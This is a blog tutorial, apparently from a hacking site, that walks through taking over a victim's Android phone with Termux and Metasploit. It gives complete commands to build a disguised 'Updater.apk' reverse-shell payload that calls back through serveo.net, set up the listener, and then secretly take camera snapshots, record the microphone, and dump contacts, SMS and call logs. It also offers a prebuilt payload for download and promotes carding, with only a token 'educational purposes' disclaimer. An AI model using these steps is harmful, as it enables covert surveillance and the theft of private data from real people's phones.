HOW TO HACK Android Device with TermuX


Requirements

1). Android 5.0 
2). TermuX Android App (Download it from Play Store
3). Installed Metasploit Framework in TermuX 
4). Active Internet/WiFi Connection
5). TermuX should be allowed to use External Storage (For this only enter this command only at once: "termux-setup-storage")
6). MiXplorer (For signing APK file, Download it from UpToDown Website)
7). MiX Signer (APK Signer for MiXplorer, Download it from Play Store)
8). (Recommended) Use Hacker`s Keyboard for entering commands in TermuX easily.

Step 1Port Forwarding

pkg install openssh







— It will successfully install OpenSSH
ssh -R (Desired_Port):localhost:(Desired_Port) serveo.net







  • (Optional) Name this session: Port Forwarding

Step 2Creating APK File with Embedded Payload

msfvenom -p android/meterpreter/reverse_tcp LHOST=serveo.net LPORT=4564 R > storage/downloads/Updater.apk







— Link for Updater.apk is in next 3rd Paragraph
  • Wait for a minute...

Step 3Signing Newly Generated APK File

  • Long Press on "Un-Signed APK File (Updater.apk)" and select "MENU button" on top right corner of MiXplorer, then select "SIGN".

Setup Metasploit in TermuX

  • Activate Metasploit Framework in TermuX by entering this command in new session:
msfconsole







— Metasploit Framework Console
mkdir -p $PREFIX/var/lib/postgresql
initdb $PREFIX/var/lib/postgresql
pg_ctl -D $PREFIX/var/lib/postgresql start







— Thanks to DUST WORLD, for this fix ...!!!
  • Wait for a min...
msf> use exploit/multi/handler
msf> set payload android/meterpreter/reverse_tcp
msf> set LHOST localhost
msf> set LPORT 4564
msf> exploit -j -z







— Enter only BOLDED commands

Step 5Installing APK in Victim's Android Device

sessions -i (Session ID)







— (Session ID) = 1 , 2 , 3 , 4 or 5 ...
  • BINGO.......!!!!!!!! You have successfully hacked your Victim`s Android Device

!!!...Need Some Help While Hacking...???

You can enter: {meterpreter> help} command, for all the available commands, here, I`ve simplified some commands for you.
  • Taking Stealth Snapshot from Front Camera
Just enter this command for this:
webcam_snap -i 2 -p storage/downloads/X-Stealth-Snapshot-F.jpg
Here, in this command, 2 is representing the front camera. For Back camera, you have to use 1.
Your Stealth Snapshot can be found here: (Default Write Storage) -> downloads -> X-Stealth-Snapshot-F.jpg
  • Taking Stealth Snapshot from Rear Camera
Just as the above, but this time, we will use 1,
webcam_snap -i 1 -p storage/downloads/X-Stealth-Snapshot-R.jpg
Your Stealth Snapshot can be found here: (Default Write Storage) -> downloads -> X-Stealth-Snapshot-R.jpg
  • Fetching All Contacts
To fetch contacts, just enter this command:
dump_contacts -o storage/downloads/X-Contacts.txt
Conacts will be saved in : (Default Write Storage) -> downloads -> X-Contacts.txt
  • Fetching All SMS
Just like above,
dump_sms -o storage/downloads/X-SMS.txt
All the SMS will be saved in : (Default Write Storage) -> downloads -> X-SMS.txt
  • Fetching Call Log
Just enter this:
dump_calllog -o storage/downloads/X-CallLog.txt
Call Log will be saved in : (Default Write Storage) -> downloads -> X-CallLog.txt
  • Spying Through Microphone
Here, you have to edit the duration of the recording microphone (default: 1s). Command for 10 seconds recording is this:
record_mic -d 10 -f storage/downloads/X-Spy-Record.mp3
Spy Recording will be saved in : (Default Write Storage) -> downloads -> X-Spy-Record.mp3

???...Common Problems...???

  • Metasploit not running on TermuX
This might happen, if you do anything wrong in installing TermuX on android. If you see error like GEMS not found, or any this kind of error, simply Delete TermuX with its data, and reinstall it.
  • msfvenom/msfconsole : command not found!
There are two possible reasons for that error.
1). Metasploit is not properly installed on TermuX. That`s why, it was unable to create Command Shortcut. To fix this, uninstall the TermuX, with Data. Then reinstall TermuX and repeat all the Method again. This is actually a script error. I also faced this problem on first time installing Metasploit in TermuX!
2). Metasploit is successfully installed, but was unable to create the shortcut. To manage this, just enter:
  • Manual Way
Just open a New Session and go to metasploit-framework directory, and enter ./msfconsole command, Like This (same for msfvenom):
cd metasploit-framework
./msfconsole
OR
./msfvenom







— 1st command will take U 2 the MSF Directory, and 2nd 1 is 2 start MSF.
2). Shortcut Method
Those people who are not satisfied with the first one, and want to create a shortcut command, as the other programs set, enter the following commands one by one in a new session (msfvenom included):
ln -s /data/data/com.termux/files/home/metasploit-framework/msfconsole
mv msfconsole $PREFIX/bin
ln -s /data/data/com.termux/files/home/metasploit-framework/msfvenom
mv msfvenom $PREFIX/bin







— This process is also called Symlinking [Updated]
3). Still no luck (with msfvenom)!? , I`ve uploaded Updater.apk with default (LHOST=serveo.net , LPORT=4564) settings. Download it from there.
  • Why we use serveo.net ...?
As I told before, NGROK does not provede a fixed Domain and Port. So, you have to generate a new APK file, when you plan to hack a phone, you hacked before. See what serveo says about NGROK:
  • Why we are using MiXplorer for Signing the APK File ...?
Actually, there is no Other way to sign the APK file on Android. Otherwise, You have to sign the APP file in Your PC (Specially in Kali LinuX). MiXplorer is the Excellent way to sign the APK file, directly in Android.
  • Metasploit Error: Failed to connect to the Database
Don`t worry about it. We have already made a solution for this :) . I think you have noticed earlier , that I was using "localhost" , instead of 127.0.0.1 or :::0:1 , as HOST. Actually, the "localhost" command automatically connects you to the available Local Host, no matter if it is 127.0.0.1 or :::0.1 or else.
But if you still want to fix it, enter the following commands in New Session of TermuX carefully:
mkdir -p $PREFIX/var/lib/postgresql
initdb $PREFIX/var/lib/postgresql
pg_ctl -D $PREFIX/var/lib/postgresql start







— Thanks to Dusty World for this FIX
  • Which Android Phone is best for H4ck1nG Purposes ...?
1). Google NeXuS phones/Tablets are Excellent for Hack1nG Purposes. As, they completely supports Kali NetHunter. NetHunter includes all the tools for hacking, and it works as an Android/Windows on a Tablet.
2). But if we talk about Android, Many H4ck3Rs say that Samsung Galaxy S5 is Excellent for Ha4ck1nG Purposes. It has a good Android Version (around 5.0), also Fully supports the TermuX Application.

Note:-

This information is for Educational Purposes Only. I`ll not be responsible of any Negative or Illegal use of this information. Also if you face any type of errors, or you think that I`ve missed something, then tell me in Comments Section. I`ll find the Suitable Solution for that. Anyways, Just use these tricks for FUN... Not for doing Illegal work. We are all Ethical H4ck3Rs, and never invade people Privacies.
Anyway, Thanks for reading my Thread (You can also join our WhatsApp group more information and Guides). BEST OF LUCK ...!

Comments

Popular posts from this blog

Complete Carding Tutorial for Beginners

How to Install Latest Kali Linux on Any Android Phone without Root using Limbo Emulator...!!!

HOW TO Install Metasploit Framework on Android in TermuX